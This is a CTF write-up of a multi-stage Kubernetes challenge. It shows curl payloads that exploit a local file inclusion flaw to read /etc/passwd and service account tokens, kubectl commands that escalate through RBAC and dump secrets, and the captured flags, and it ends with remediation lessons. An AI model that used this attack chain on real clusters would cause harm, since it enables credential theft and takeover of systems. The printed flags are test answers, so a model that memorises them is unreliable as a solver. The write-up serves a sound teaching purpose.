CTF Writeup: BestIT Kubernetes Pentest — From LFI to Cluster Compromise
— Security, Kubernetes, CTF, Pentest, LFI, hackArcana — 5 min read
This writeup documents a complete penetration test of the BestIT company infrastructure, a CTF challenge consisting of three stages: Recon (50 pts), Foothold (100 pts), and Elevation (100 pts). The goal was to assess security and ultimately steal sensitive data from a Kubernetes-hosted web application.
Challenge Overview
- Target:
https://one.ctf.weakweb.cc/ - Infrastructure: Kubernetes (k3s cluster) on Ubuntu with nginx ingress
- Attack Path: LFI → ServiceAccount token extraction → RBAC privilege escalation → Secret enumeration
Stage 0: Recon (50 pts)
Initial Discovery
The landing page for "BestITFirma Systems" presented a clean marketing site with project portfolio cards. One detail stood out immediately:
<a href="/project?name=our-first-project.html" class="project-card">The name query parameter accepting a filename pattern is a textbook Local File Inclusion (LFI) sink.
Confirming the Vulnerability
Testing for path traversal with a benign file:
curl -sk "https://one.ctf.weakweb.cc/project?name=/etc/passwd"Response included the full /etc/passwd rendered inside the page template, confirming:
- Traversal works —
../sequences escape the projects directory - Absolute paths work —
os.path.join()Python footgun confirmed
Flag 0 Capture
curl -sk "https://one.ctf.weakweb.cc/project?name=/run/flag0/flag0-8faf2e44.txt"Flag 0: HexA{congr4tz--t1me-t0-pwn-th3-cluster}
Root Cause
User input concatenated into filesystem reads without:
- Canonical path resolution (
os.path.realpath()) - Containment validation (
startswith(PROJECTS_DIR)) - Filename allow-listing
Fix: Use an explicit allow-list of permitted files rather than dynamic path construction.
Stage 1: Foothold (100 pts)
Kubernetes Discovery
The challenge hint suggested Kubernetes involvement. A single file read revealed the cluster environment:
curl -sk "https://one.ctf.weakweb.cc/project?name=/var/run/secrets/kubernetes.io/serviceaccount/token"This exfiltrated the pod's service account token. Additional reads captured:
/var/run/secrets/kubernetes.io/serviceaccount/namespace→bestit/var/run/secrets/kubernetes.io/serviceaccount/ca.crt→ cluster CA/etc/hosts→ pod IP10.42.1.44(confirming k3s cluster)
Building kubeconfig
With the token, I constructed a kubeconfig:
apiVersion: v1clusters:- cluster: insecure-skip-tls-verify: true server: https://one.ctf.weakweb.cc:6443 name: defaultcontexts:- context: cluster: default namespace: bestit user: default name: defaultcurrent-context: defaultkind: Configusers:- name: default user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6Inc4S0hxamUycEhlUDZtbDVodjJralAxMnp4eGRlT0VEdElNNjNORFJlM0kifQ...RBAC Enumeration
Running kubectl auth can-i --list revealed the current identity as restricted-user-sa with minimal permissions:
| Resource | Verbs |
|---|---|
| pods | get |
| configmaps | list |
| serviceaccounts | list |
Crucially, no secret access was granted.
Flag 1 Discovery
The list configmaps permission revealed bestit-config containing:
data: flag1-ebcded28.txt: HexA{your3-1n--now-g0-deep3r} motd.txt: "Big news: BestITFirma is officially ISO 27001 certified!..."Flag 1: HexA{your3-1n--now-g0-deep3r}
Stage 2: Elevation (100 pts)
Finding the Escalation Path
Getting the pod spec (kubectl get pod bestit-web-7885c66844-gfgkp -o yaml) revealed mounted volumes:
volumeMounts:- mountPath: /run/secret-manager-token name: token-volumevolumes:- name: token-volume secret: secretName: secret-manager-token items: - key: token path: manager-tokenThis mounts a different service account token (secret-manager-sa) inside the pod filesystem.
Token Extraction via LFI
curl -sk "https://one.ctf.weakweb.cc/project?name=/run/secret-manager-token/manager-token"Extracted token for: secret-manager-sa
Escalated Permissions
With the new token, kubectl auth can-i --list showed:
| Resource | Verbs |
|---|---|
| secrets | create, get |
This allows reading individual secrets by name, though not listing them.
Flag 2 Capture
kubectl get secret flag2-secret -n bestit -o yamlDecoded data: HexA{1nter3sting-5ecret--wh4t-about-th3-oth3r-0ne}
Flag 2: HexA{1nter3sting-5ecret--wh4t-about-th3-oth3r-0ne}
Stage 3: Escalation (Continued)
Final Privilege Escalation
Brute-forcing secret names with the secret-manager-sa token revealed:
secret-lister-token— a token for yet another service account
Extracting this token:
kubectl get secret secret-lister-token -n bestit -o jsonpath='{.data.token}' | base64 -dThe Ultimate Escalation
As secret-lister-sa, the permissions changed dramatically:
| Resource | Verbs |
|---|---|
| secrets | list, get |
Full secret enumeration became possible:
kubectl get secrets -n bestitRevealed secrets:
flag0,flag0s,flag1,flag2-secretvery-secret-flag-4fbb3f5a← Flag 3
Flag 3 Capture
kubectl get secret very-secret-flag-4fbb3f5a -n bestit -o jsonpath='{.data}' | jq -r 'to_entries[] | "\(.key): \(.value | @base64d)"'Flag 3: HexA{ult1m4t3-35c4l4t10n-y0u-4r3-7h3-4dm1n}
All Flags Summary
| Stage | Flag | Location | Method |
|---|---|---|---|
| 0 | HexA{congr4tz--t1me-t0-pwn-th3-cluster} | /run/flag0/flag0-8faf2e44.txt | LFI |
| 1 | HexA{your3-1n--now-g0-deep3r} | ConfigMap bestit-config | K8s API (restricted-user-sa) |
| 2 | HexA{1nter3sting-5ecret--wh4t-about-th3-oth3r-0ne} | Secret flag2-secret | K8s API (secret-manager-sa) |
| 3 | HexA{ult1m4t3-35c4l4t10n-y0u-4r3-7h3-4dm1n} | Secret very-secret-flag-4fbb3f5a | K8s API (secret-lister-sa) |
Attack Chain Visualization
┌─────────────────────────────────────────────────────────────────────┐│ External Attacker │└──────────────┬────────────────────────────────────────────────────────┘ │ ▼┌──────────────────────────────────────┐│ LFI on /project?name= ││ → Read /etc/passwd (confirmed) ││ → Read /run/flag0 (FLAG 0) │└──────────────┬───────────────────────┘ │ ▼┌──────────────────────────────────────────────────────────────┐│ Exfiltrate K8s SA token from pod filesystem ││ → restricted-user-sa (limited: get pods, list configmaps) │└──────────────┬─────────────────────────────────────────────────┘ │ ▼┌───────── ─────────────────────────────────────────────────────┐│ Read ConfigMap → FLAG 1 ││ Mount analysis reveals secret-manager-token volume │└──────────────┬─────────────────────────────────────────────────┘ │ ▼┌──────────────────────────────────────────────────────────────┐│ LFI → /run/secret-manager-token/manager-token ││ → secret-manager-sa (create/get secrets) │└──────────────┬─────────────────────────────────────────────────┘ │ ▼┌──────────────────────────────────────────────────────────────┐│ Get secret/flag2-secret → FLAG 2 ││ Brute force secret names → found secret-lister-token │└──────────────┬─────────────────────────────────────────────────┘ │ ▼┌──────────────────────────────────────────────────────────────┐│ Extract secret-lister-sa token ││ → secret-lister-sa (LIST secrets permission) │└──────────────┬─────────────────────────────────────────────────┘ │ ▼┌──────────────────────────────────────────────────────────────┐│ List all secrets → discovered very-secret-flag-4fbb3f5a ││ Get secret → FLAG 3 (COMPROMISE COMPLETE) │└───────────────────────────────────────────────────────────────┘Security Lessons
1. LFI Prevention
- Never pass user input directly to filesystem operations
- Use allow-lists or strict path canonicalization
- Run containers with read-only root filesystems where possible
2. Kubernetes Secret Management
- Never mount sensitive service account tokens unnecessarily
- The
secret-manager-satoken was mounted in a volume accessible to the web application, allowing privilege escalation - Use
automountServiceAccountToken: falseby default
3. RBAC Principle of Least Privilege
- The
secret-lister-sahad broad secret listing permissions - Service accounts should have minimal required permissions
- Separate concerns: reading secrets vs. listing secrets vs. managing secrets
4. Defense in Depth
- Even with an LFI vulnerability, the attacker shouldn't be able to:
- Access the Kubernetes API
- Escalate through multiple service accounts
- Eventually list all cluster secrets
Tools Used
curl— HTTP requests and LFI exploitationkubectl— Kubernetes API interactionbase64— Token decoding- Custom bash scripts for automation
Challenge completed on April 30, 2026. Total time: ~3 hours. All 4 flags captured, full cluster enumeration achieved.